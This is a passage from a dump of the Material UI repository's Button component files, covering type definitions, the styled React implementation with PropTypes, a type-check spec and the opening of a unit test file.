boolean | undefined;\n  /**\n   * The URL to link to when the button is clicked.\n   * If defined, an `a` element will be used as the root node.\n   */\n  href?: string | undefined;\n  /**\n   * If `true`, the loading indicator is visible and the button is disabled.\n   * If `true | false`, the loading wrapper is always rendered before the children to prevent [Google Translation Crash](https://github.com/mui/material-ui/issues/27853).\n   * @default null\n   */\n  loading?: boolean | null | undefined;\n  /**\n   * Element placed before the children if the button is in loading state.\n   * The node should contain an element with `role=\"progressbar\"` with an accessible name.\n   * By default, it renders a `CircularProgress` that is labeled by the button itself.\n   * @default <CircularProgress color=\"inherit\" size={16} />\n   */\n  loadingIndicator?: React.ReactNode;\n  /**\n   * The loading indicator can be positioned on the start, end, or the center of the button.\n   * @default 'center'\n   */\n  loadingPosition?: 'start' | 'end' | 'center' | undefined;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium' | 'large', ButtonPropsSizeOverrides> | undefined;\n  /**\n   * Element placed before the children.\n   */\n  startIcon?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'text'\n   */\n  variant?:\n    | OverridableStringUnion<'text' | 'outlined' | 'contained', ButtonPropsVariantOverrides>\n    | undefined;\n}\n\nexport type ButtonTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'button',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & ButtonOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n * utility to create component types that inherit props from ButtonBase.\n * This component has an additional overload if the `href` prop is set which\n * can make extension quite tricky\n */\nexport interface ExtendButtonTypeMap<TypeMap extends OverridableTypeMap> {\n  props: TypeMap['props'] &\n    (TypeMap['props'] extends { classes?: Record<string, string> | undefined }\n      ? DistributiveOmit<ButtonTypeMap['props'], 'classes'>\n      : ButtonTypeMap['props']);\n  defaultComponent: TypeMap['defaultComponent'];\n}\n\nexport type ExtendButton<TypeMap extends OverridableTypeMap> = ((\n  props: { href: string } & OverrideProps<ExtendButtonBaseTypeMap<TypeMap>, 'a'>,\n) => React.JSX.Element) &\n  OverridableComponent<ExtendButtonBaseTypeMap<TypeMap>>;\n\n/**\n *\n * Demos:\n *\n * - [Button Group](https://next.mui.com/material-ui/react-button-group/)\n * - [Button](https://next.mui.com/material-ui/react-button/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n *\n * API:\n *\n * - [Button API](https://next.mui.com/material-ui/api/button/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const Button: ExtendButtonBase<ButtonTypeMap>;\n\nexport type ButtonProps<\n  RootComponent extends React.ElementType = ButtonTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ButtonTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Button;\n"
  },
  {
    "path": "packages/mui-material/src/Button/Button.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport resolveProps from '@mui/utils/resolveProps';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { unstable_useId as useId } from '../utils';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ButtonBase from '../ButtonBase';\nimport CircularProgress from '../CircularProgress';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport buttonClasses, { getButtonUtilityClass } from './buttonClasses';\nimport ButtonGroupContext from '../ButtonGroup/ButtonGroupContext';\nimport ButtonGroupButtonContext from '../ButtonGroup/ButtonGroupButtonContext';\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, disableElevation, fullWidth, size, variant, loading, loadingPosition, classes } =\n    ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      loading && 'loading',\n      variant,\n      `size${capitalize(size)}`,\n      `color${capitalize(color)}`,\n      disableElevation && 'disableElevation',\n      fullWidth && 'fullWidth',\n      loading && `loadingPosition${capitalize(loadingPosition)}`,\n    ],\n    startIcon: ['icon', 'startIcon'],\n    endIcon: ['icon', 'endIcon'],\n    loadingIndicator: ['loadingIndicator'],\n    loadingWrapper: ['loadingWrapper'],\n  };\n\n  const composedClasses = composeClasses(slots, getButtonUtilityClass, classes);\n\n  return {\n    ...classes, // forward the focused, disabled, etc. classes to the ButtonBase\n    ...composedClasses,\n  };\n};\n\nconst commonIconStyles = [\n  {\n    props: { size: 'small' },\n    style: {\n      '& > *:nth-of-type(1)': {\n        fontSize: 18,\n      },\n    },\n  },\n  {\n    props: { size: 'medium' },\n    style: {\n      '& > *:nth-of-type(1)': {\n        fontSize: 20,\n      },\n    },\n  },\n  {\n    props: { size: 'large' },\n    style: {\n      '& > *:nth-of-type(1)': {\n        fontSize: 22,\n      },\n    },\n  },\n];\n\nconst ButtonRoot = styled(ButtonBase, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiButton',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      styles[`size${capitalize(ownerState.size)}`],\n      ownerState.color === 'inherit' && styles.colorInherit,\n      ownerState.disableElevation && styles.disableElevation,\n      ownerState.fullWidth && styles.fullWidth,\n      ownerState.loading && styles.loading,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const inheritContainedBackgroundColor =\n      theme.palette.mode === 'light' ? theme.palette.grey[300] : theme.palette.grey[800];\n\n    const inheritContainedHoverBackgroundColor =\n      theme.palette.mode === 'light' ? theme.palette.grey.A100 : theme.palette.grey[700];\n    return {\n      ...theme.typography.button,\n      minWidth: 64,\n      padding: '6px 16px',\n      border: 0,\n      borderRadius: (theme.vars || theme).shape.borderRadius,\n      transition: theme.transitions.create(\n        ['background-color', 'box-shadow', 'border-color', 'color'],\n        {\n          duration: theme.transitions.duration.short,\n        },\n      ),\n      '&:hover': {\n        textDecoration: 'none',\n      },\n      [`&.${buttonClasses.disabled}`]: {\n        color: (theme.vars || theme).palette.action.disabled,\n      },\n      variants: [\n        {\n          props: { variant: 'contained' },\n          style: {\n            color: `var(--variant-containedColor)`,\n            backgroundColor: `var(--variant-containedBg)`,\n            boxShadow: (theme.vars || theme).shadows[2],\n            '&:hover': {\n              boxShadow: (theme.vars || theme).shadows[4],\n              // Reset on touch devices, it doesn't add specificity\n              '@media (hover: none)': {\n                boxShadow: (theme.vars || theme).shadows[2],\n              },\n            },\n            '&:active': {\n              boxShadow: (theme.vars || theme).shadows[8],\n            },\n            [`&.${buttonClasses.focusVisible}`]: {\n              boxShadow: (theme.vars || theme).shadows[6],\n            },\n            [`&.${buttonClasses.disabled}`]: {\n              color: (theme.vars || theme).palette.action.disabled,\n              boxShadow: (theme.vars || theme).shadows[0],\n              backgroundColor: (theme.vars || theme).palette.action.disabledBackground,\n            },\n          },\n        },\n        {\n          props: { variant: 'outlined' },\n          style: {\n            padding: '5px 15px',\n            border: '1px solid currentColor',\n            borderColor: `var(--variant-outlinedBorder, currentColor)`,\n            backgroundColor: `var(--variant-outlinedBg)`,\n            color: `var(--variant-outlinedColor)`,\n            [`&.${buttonClasses.disabled}`]: {\n              border: `1px solid ${(theme.vars || theme).palette.action.disabledBackground}`,\n            },\n          },\n        },\n        {\n          props: { variant: 'text' },\n          style: {\n            padding: '6px 8px',\n            color: `var(--variant-textColor)`,\n            backgroundColor: `var(--variant-textBg)`,\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter())\n          .map(([color]) => ({\n            props: { color },\n            style: {\n              '--variant-textColor': (theme.vars || theme).palette[color].main,\n              '--variant-outlinedColor': (theme.vars || theme).palette[color].main,\n              '--variant-outlinedBorder': theme.alpha(\n                (theme.vars || theme).palette[color].main,\n                0.5,\n              ),\n              '--variant-containedColor': (theme.vars || theme).palette[color].contrastText,\n              '--variant-containedBg': (theme.vars || theme).palette[color].main,\n              '@media (hover: hover)': {\n                '&:hover': {\n                  '--variant-containedBg': (theme.vars || theme).palette[color].dark,\n                  '--variant-textBg': theme.alpha(\n                    (theme.vars || theme).palette[color].main,\n                    (theme.vars || theme).palette.action.hoverOpacity,\n                  ),\n                  '--variant-outlinedBorder': (theme.vars || theme).palette[color].main,\n                  '--variant-outlinedBg': theme.alpha(\n                    (theme.vars || theme).palette[color].main,\n                    (theme.vars || theme).palette.action.hoverOpacity,\n                  ),\n                },\n              },\n            },\n          })),\n        {\n          props: {\n            color: 'inherit',\n          },\n          style: {\n            color: 'inherit',\n            borderColor: 'currentColor',\n            '--variant-containedBg': theme.vars\n              ? theme.vars.palette.Button.inheritContainedBg\n              : inheritContainedBackgroundColor,\n            '@media (hover: hover)': {\n              '&:hover': {\n                '--variant-containedBg': theme.vars\n                  ? theme.vars.palette.Button.inheritContainedHoverBg\n                  : inheritContainedHoverBackgroundColor,\n                '--variant-textBg': theme.alpha(\n                  (theme.vars || theme).palette.text.primary,\n                  (theme.vars || theme).palette.action.hoverOpacity,\n                ),\n                '--variant-outlinedBg': theme.alpha(\n                  (theme.vars || theme).palette.text.primary,\n                  (theme.vars || theme).palette.action.hoverOpacity,\n                ),\n              },\n            },\n          },\n        },\n        {\n          props: {\n            size: 'small',\n            variant: 'text',\n          },\n          style: {\n            padding: '4px 5px',\n            fontSize: theme.typography.pxToRem(13),\n          },\n        },\n        {\n          props: {\n            size: 'large',\n            variant: 'text',\n          },\n          style: {\n            padding: '8px 11px',\n            fontSize: theme.typography.pxToRem(15),\n          },\n        },\n        {\n          props: {\n            size: 'small',\n            variant: 'outlined',\n          },\n          style: {\n            padding: '3px 9px',\n            fontSize: theme.typography.pxToRem(13),\n          },\n        },\n        {\n          props: {\n            size: 'large',\n            variant: 'outlined',\n          },\n          style: {\n            padding: '7px 21px',\n            fontSize: theme.typography.pxToRem(15),\n          },\n        },\n        {\n          props: {\n            size: 'small',\n            variant: 'contained',\n          },\n          style: {\n            padding: '4px 10px',\n            fontSize: theme.typography.pxToRem(13),\n          },\n        },\n        {\n          props: {\n            size: 'large',\n            variant: 'contained',\n          },\n          style: {\n            padding: '8px 22px',\n            fontSize: theme.typography.pxToRem(15),\n          },\n        },\n        {\n          props: {\n            disableElevation: true,\n          },\n          style: {\n            boxShadow: 'none',\n            '&:hover': {\n              boxShadow: 'none',\n            },\n            [`&.${buttonClasses.focusVisible}`]: {\n              boxShadow: 'none',\n            },\n            '&:active': {\n              boxShadow: 'none',\n            },\n            [`&.${buttonClasses.disabled}`]: {\n              boxShadow: 'none',\n            },\n          },\n        },\n        {\n          props: { fullWidth: true },\n          style: { width: '100%' },\n        },\n        {\n          props: {\n            loadingPosition: 'center',\n          },\n          style: {\n            transition: theme.transitions.create(\n              ['background-color', 'box-shadow', 'border-color'],\n              {\n                duration: theme.transitions.duration.short,\n              },\n            ),\n            [`&.${buttonClasses.loading}`]: {\n              color: 'transparent',\n            },\n          },\n        },\n      ],\n    };\n  }),\n);\n\nconst ButtonStartIcon = styled('span', {\n  name: 'MuiButton',\n  slot: 'StartIcon',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.startIcon, ownerState.loading && styles.startIconLoadingStart];\n  },\n})(({ theme }) => ({\n  display: 'inherit',\n  marginRight: 8,\n  marginLeft: -4,\n  variants: [\n    {\n      props: { size: 'small' },\n      style: {\n        marginLeft: -2,\n      },\n    },\n    {\n      props: { loadingPosition: 'start', loading: true },\n      style: {\n        transition: theme.transitions.create(['opacity'], {\n          duration: theme.transitions.duration.short,\n        }),\n        opacity: 0,\n      },\n    },\n    {\n      props: { loadingPosition: 'start', loading: true, fullWidth: true },\n      style: {\n        marginRight: -8,\n      },\n    },\n    ...commonIconStyles,\n  ],\n}));\n\nconst ButtonEndIcon = styled('span', {\n  name: 'MuiButton',\n  slot: 'EndIcon',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.endIcon, ownerState.loading && styles.endIconLoadingEnd];\n  },\n})(({ theme }) => ({\n  display: 'inherit',\n  marginRight: -4,\n  marginLeft: 8,\n  variants: [\n    {\n      props: { size: 'small' },\n      style: {\n        marginRight: -2,\n      },\n    },\n    {\n      props: { loadingPosition: 'end', loading: true },\n      style: {\n        transition: theme.transitions.create(['opacity'], {\n          duration: theme.transitions.duration.short,\n        }),\n        opacity: 0,\n      },\n    },\n    {\n      props: { loadingPosition: 'end', loading: true, fullWidth: true },\n      style: {\n        marginLeft: -8,\n      },\n    },\n    ...commonIconStyles,\n  ],\n}));\n\nconst ButtonLoadingIndicator = styled('span', {\n  name: 'MuiButton',\n  slot: 'LoadingIndicator',\n})(({ theme }) => ({\n  display: 'none',\n  position: 'absolute',\n  visibility: 'visible',\n  variants: [\n    { props: { loading: true }, style: { display: 'flex' } },\n    {\n      props: { loadingPosition: 'start' },\n      style: {\n        left: 14,\n      },\n    },\n    {\n      props: {\n        loadingPosition: 'start',\n        size: 'small',\n      },\n      style: {\n        left: 10,\n      },\n    },\n    {\n      props: {\n        variant: 'text',\n        loadingPosition: 'start',\n      },\n      style: {\n        left: 6,\n      },\n    },\n    {\n      props: {\n        loadingPosition: 'center',\n      },\n      style: {\n        left: '50%',\n        transform: 'translate(-50%)',\n        color: (theme.vars || theme).palette.action.disabled,\n      },\n    },\n    {\n      props: { loadingPosition: 'end' },\n      style: {\n        right: 14,\n      },\n    },\n    {\n      props: {\n        loadingPosition: 'end',\n        size: 'small',\n      },\n      style: {\n        right: 10,\n      },\n    },\n    {\n      props: {\n        variant: 'text',\n        loadingPosition: 'end',\n      },\n      style: {\n        right: 6,\n      },\n    },\n    {\n      props: { loadingPosition: 'start', fullWidth: true },\n      style: {\n        position: 'relative',\n        left: -10,\n      },\n    },\n    {\n      props: { loadingPosition: 'end', fullWidth: true },\n      style: {\n        position: 'relative',\n        right: -10,\n      },\n    },\n  ],\n}));\n\nconst ButtonLoadingIconPlaceholder = styled('span', {\n  name: 'MuiButton',\n  slot: 'LoadingIconPlaceholder',\n})({\n  display: 'inline-block',\n  width: '1em',\n  height: '1em',\n});\n\nconst Button = React.forwardRef(function Button(inProps, ref) {\n  // props priority: `inProps` > `contextProps` > `themeDefaultProps`\n  const contextProps = React.useContext(ButtonGroupContext);\n  const buttonGroupButtonContextPositionClassName = React.useContext(ButtonGroupButtonContext);\n  const resolvedProps = resolveProps(contextProps, inProps);\n  const props = useDefaultProps({ props: resolvedProps, name: 'MuiButton' });\n  const {\n    children,\n    color = 'primary',\n    component = 'button',\n    className,\n    disabled = false,\n    disableElevation = false,\n    disableFocusRipple = false,\n    endIcon: endIconProp,\n    focusVisibleClassName,\n    fullWidth = false,\n    id: idProp,\n    loading = null,\n    loadingIndicator: loadingIndicatorProp,\n    loadingPosition = 'center',\n    size = 'medium',\n    startIcon: startIconProp,\n    type,\n    variant = 'text',\n    ...other\n  } = props;\n\n  const loadingId = useId(idProp);\n  const loadingIndicator = loadingIndicatorProp ?? (\n    <CircularProgress aria-labelledby={loadingId} color=\"inherit\" size={16} />\n  );\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    disabled,\n    disableElevation,\n    disableFocusRipple,\n    fullWidth,\n    loading,\n    loadingIndicator,\n    loadingPosition,\n    size,\n    type,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const startIcon = (startIconProp || (loading && loadingPosition === 'start')) && (\n    <ButtonStartIcon className={classes.startIcon} ownerState={ownerState}>\n      {startIconProp || (\n        <ButtonLoadingIconPlaceholder\n          className={classes.loadingIconPlaceholder}\n          ownerState={ownerState}\n        />\n      )}\n    </ButtonStartIcon>\n  );\n\n  const endIcon = (endIconProp || (loading && loadingPosition === 'end')) && (\n    <ButtonEndIcon className={classes.endIcon} ownerState={ownerState}>\n      {endIconProp || (\n        <ButtonLoadingIconPlaceholder\n          className={classes.loadingIconPlaceholder}\n          ownerState={ownerState}\n        />\n      )}\n    </ButtonEndIcon>\n  );\n\n  const positionClassName = buttonGroupButtonContextPositionClassName || '';\n\n  const loader =\n    typeof loading === 'boolean' ? (\n      // use plain HTML span to minimize the runtime overhead\n      <span className={classes.loadingWrapper} style={{ display: 'contents' }}>\n        {loading && (\n          <ButtonLoadingIndicator className={classes.loadingIndicator} ownerState={ownerState}>\n            {loadingIndicator}\n          </ButtonLoadingIndicator>\n        )}\n      </span>\n    ) : null;\n\n  return (\n    <ButtonRoot\n      ownerState={ownerState}\n      className={clsx(contextProps.className, classes.root, className, positionClassName)}\n      component={component}\n      disabled={disabled || loading}\n      focusRipple={!disableFocusRipple}\n      focusVisibleClassName={clsx(classes.focusVisible, focusVisibleClassName)}\n      ref={ref}\n      internalNativeButton\n      type={type}\n      id={loading ? loadingId : idProp}\n      {...other}\n      classes={classes}\n    >\n      {startIcon}\n      {loadingPosition !== 'end' && loader}\n      {children}\n      {loadingPosition === 'end' && loader}\n      {endIcon}\n    </ButtonRoot>\n  );\n});\n\nButton.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['inherit', 'primary', 'secondary', 'success', 'error', 'info', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, no elevation is used.\n   * @default false\n   */\n  disableElevation: PropTypes.bool,\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   *\n   * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure\n   * to highlight the element by applying separate styles with the `.Mui-focusVisible` class.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * Element placed after the children.\n   */\n  endIcon: PropTypes.node,\n  /**\n   * @ignore\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * If `true`, the button will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The URL to link to when the button is clicked.\n   * If defined, an `a` element will be used as the root node.\n   */\n  href: PropTypes.string,\n  /**\n   * @ignore\n   */\n  id: PropTypes.string,\n  /**\n   * If `true`, the loading indicator is visible and the button is disabled.\n   * If `true | false`, the loading wrapper is always rendered before the children to prevent [Google Translation Crash](https://github.com/mui/material-ui/issues/27853).\n   * @default null\n   */\n  loading: PropTypes.bool,\n  /**\n   * Element placed before the children if the button is in loading state.\n   * The node should contain an element with `role=\"progressbar\"` with an accessible name.\n   * By default, it renders a `CircularProgress` that is labeled by the button itself.\n   * @default <CircularProgress color=\"inherit\" size={16} />\n   */\n  loadingIndicator: PropTypes.node,\n  /**\n   * The loading indicator can be positioned on the start, end, or the center of the button.\n   * @default 'center'\n   */\n  loadingPosition: PropTypes.oneOf(['center', 'end', 'start']),\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * Element placed before the children.\n   */\n  startIcon: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * @ignore\n   */\n  type: PropTypes.oneOfType([PropTypes.oneOf(['button', 'reset', 'submit']), PropTypes.string]),\n  /**\n   * The variant to use.\n   * @default 'text'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['contained', 'outlined', 'text']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Button;\n"
  },
  {
    "path": "packages/mui-material/src/Button/Button.spec.tsx",
    "content": "import * as React from 'react';\nimport { Link as ReactRouterLink, LinkProps } from 'react-router';\nimport { expectType } from '@mui/types';\nimport Button, { ButtonProps } from '@mui/material/Button';\nimport MaterialUiLink, { LinkProps as MaterialUiLinkProps } from '@mui/material/Link';\n\nconst log = console.log;\n\nconst TestOverride = React.forwardRef<HTMLDivElement, { x?: number }>((props, ref) => (\n  <div ref={ref} />\n));\n\ntype CustomLinkProps = MaterialUiLinkProps<typeof ReactRouterLink, LinkProps>;\nconst CustomLink: React.FC<React.PropsWithChildren<CustomLinkProps>> = ({ children, ...props }) => {\n  return (\n    <MaterialUiLink component={ReactRouterLink} {...props}>\n      {children}\n    </MaterialUiLink>\n  );\n};\n\nfunction FakeIcon() {\n  return <div>Icon</div>;\n}\n\nconst props1: ButtonProps<'div'> = {\n  component: 'div',\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLDivElement>, typeof event>(event);\n  },\n};\n\nconst props2: ButtonProps = {\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLButtonElement>, typeof event>(event);\n  },\n};\n\nconst props3: ButtonProps<typeof TestOverride> = {\n  component: TestOverride,\n  x: 2,\n};\n\nconst props4: ButtonProps<typeof TestOverride> = {\n  component: TestOverride,\n  // @ts-expect-error TestOverride does not accept incorrectProp\n  incorrectProp: 3,\n};\n\nconst props5: ButtonProps<typeof TestOverride> = {\n  component: TestOverride,\n};\n\nconst buttonTest = () => (\n  <div>\n    <Button>I am a button!</Button>\n    <Button color=\"inherit\">Contrast</Button>\n    <Button disabled>Disabled</Button>\n    <Button href=\"#link-button\">Link</Button>\n    <Button size=\"small\">Small</Button>\n    <Button variant=\"contained\">Contained</Button>\n    <Button variant=\"outlined\" aria-label=\"add\">\n      Outlined\n    </Button>\n    <Button tabIndex={1} title=\"some button\">\n      Title\n    </Button>\n    <Button component=\"a\">Simple Link</Button>\n    <Button component={(props: any) => <a {...props} />}>Complex Link</Button>\n    <Button component={ReactRouterLink} to=\"/open-collective\">\n      Link\n    </Button>\n    <Button href=\"/open-collective\">Link</Button>\n    <Button component={ReactRouterLink} to=\"/open-collective\">\n      Link\n    </Button>\n    <Button component={CustomLink} to=\"/some-route\">\n      Link\n    </Button>\n    <Button href=\"/open-collective\">Link</Button>\n    {/* By default the underlying component is a button element */}\n    <Button\n      ref={(elem) => {\n        expectType<HTMLButtonElement | null, typeof elem>(elem);\n      }}\n      onClick={(event) => {\n        expectType<React.MouseEvent<HTMLButtonElement, MouseEvent>, typeof event>(event);\n        log(event);\n      }}\n    >\n      Button\n    </Button>\n    {/* If an href is provided, an anchor is used */}\n    <Button\n      href=\"/open-collective\"\n      ref={(elem) => {\n        expectType<HTMLAnchorElement | null, typeof elem>(elem);\n      }}\n      onClick={(event) => {\n        expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n        log(event);\n      }}\n    >\n      Link\n    </Button>\n    {/* If a component prop is specified, use that: */}\n    <Button<'div'>\n      component=\"div\"\n      ref={(elem) => {\n        expectType<HTMLDivElement | null, typeof elem>(elem);\n      }}\n      onClick={(event) => {\n        expectType<React.MouseEvent<HTMLDivElement, MouseEvent>, typeof event>(event);\n        log(event);\n      }}\n    >\n      Div\n    </Button>\n    {\n      // Can't have an onClick handler if the overriding component doesn't specify one:\n      // @ts-expect-error\n      <Button<typeof TestOverride> component={TestOverride} onClick={log}>\n        TestOverride\n      </Button>\n    }\n    <Button startIcon={<FakeIcon />}>Start Icon</Button>\n    <Button endIcon={<FakeIcon />}>endIcon</Button>\n  </div>\n);\n\nconst ReactRouterLinkTest = () => {\n  function ButtonLink(props: ButtonProps<typeof ReactRouterLink>) {\n    return <Button {...props} component={ReactRouterLink} />;\n  }\n\n  const reactRouterButtonLink1 = <ButtonLink to=\"/\">Go Home</ButtonLink>;\n\n  const MyLink = React.forwardRef<HTMLAnchorElement, LinkProps>((props, ref) => {\n    return <ReactRouterLink ref={ref} {...props} />;\n  });\n\n  const reactRouterButtonLink2 = (\n    <Button component={MyLink} to=\"/router-future\">\n      Go Home\n    </Button>\n  );\n};\n\nfunction ClassesTest() {\n  return (\n    <Button\n      classes={{\n        outlined: 'extra-outlined',\n        loadingIndicator: 'extra-loading-indicator',\n        disabled: 'extra-disabled',\n      }}\n    >\n      Button\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Button/Button.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport {\n  createRenderer,\n  screen,\n  simulateKeyboardDevice,\n  within,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport { ClassNames } from '@emotion/react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button, { buttonClasses as classes } from '@mui/material/Button';\nimport ButtonBase, { touchRippleClasses } from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<Button />', () => {\n  const { render, renderToString } = createRenderer();\n\n  /**\n   * @param {{ mock: { calls: unknown[][] } }} errorSpy\n   * @returns {string[]}\n   */\n  function getWarningMessages(errorSpy) {\n    return errorSpy.mock.calls.map((call) =>\n      String(call[0]).replace(/\\s+/g, ' ').trim().toLowerCase(),\n    );\n  }\n\n  /**\n   * @param {{ mock: { calls: unknown[][] } }} errorSpy\n   * @param {string[]} fragments\n   */\n  function expectWarningWithFragments(errorSpy, fragments) {\n    const messages = getWarningMessages(errorSpy);\n\n    expect(messages.length).to.be.greaterThanOrEqual(1);\n    expect(\n      messages.some((message) =>\n        fragments.every((fragment) => message.includes(fragment.toLowerCase())),\n      ),\n    ).to.equal(true);\n  }\n\n  describeConformance(<Button startIcon=\"icon\">Conformance?</Button>, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    refInstanceof: window.HTMLButtonElement,\n    muiName: 'MuiButton',\n    testDeepOverrides: { slotName: 'startIcon', slotClassName: classes.startIcon },\n    testVariantProps: { variant: 'contained', fullWidth: true },\n    testStateOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n  }));\n\n  it('should render with the root, text, and colorPrimary classes but no others', () => {\n    render(<Button>Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.sizeSmall);\n    expect(button).not.to.have.class(classes.sizeLarge);\n  });\n\n  it('does not warn for intrinsic non-button components when nativeButton is omitted', () => {\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n    render(<Button component=\"span\">Hello World</Button>);\n\n    expect(screen.getByRole('button')).to.have.tagName('SPAN');\n    expect(errorSpy.mock.calls.length).to.equal(0);\n    errorSpy.mockRestore();\n  });\n\n  it('warns for custom non-button components when nativeButton is omitted', () => {\n    const StyledSpan = React.forwardRef(function StyledSpan(props, ref) {\n      return <span ref={ref} {...props} />;\n    });\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n    render(<Button component={StyledSpan}>Hello World</Button>);\n\n    expect(screen.getByText('Hello World')).to.have.tagName('SPAN');\n    expectWarningWithFragments(errorSpy, ['nativebutton={false}', 'non-<button>']);\n    errorSpy.mockRestore();\n  });\n\n  it('does not warn for custom button components when nativeButton is omitted', () => {\n    const CustomButton = React.forwardRef(function CustomButton(props, ref) {\n      return <button ref={ref} {...props} />;\n    });\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n    render(<Button component={CustomButton}>Hello World</Button>);\n\n    expect(screen.getByRole('button')).to.have.tagName('BUTTON');\n    expect(errorSpy.mock.calls.length).to.equal(0);\n    errorSpy.mockRestore();\n  });\n\n  it('does not warn for custom non-button components when nativeButton={false}', () => {\n    const StyledSpan = React.forwardRef(function StyledSpan(props, ref) {\n      return <span ref={ref} {...props} />;\n    });\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n    render(\n      <Button component={StyledSpan} nativeButton={false}>\n        Hello World\n      </Button>,\n    );\n\n    expect(screen.getByRole('button')).to.have.tagName('SPAN');\n    expect(errorSpy.mock.calls.length).to.equal(0);\n    errorSpy.mockRestore();\n  });\n\n  it('warns when nativeButton={false} is used with a custom component that renders a button', () => {\n    const CustomButton = React.forwardRef(function CustomButton(props, ref) {\n      return <button ref={ref} {...props} />;\n    });\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n    render(\n      <Button component={CustomButton} nativeButton={false}>\n        Hello World\n      </Button>,\n    );\n\n    expect(screen.getByRole('button')).to.have.tagName('BUTTON');\n    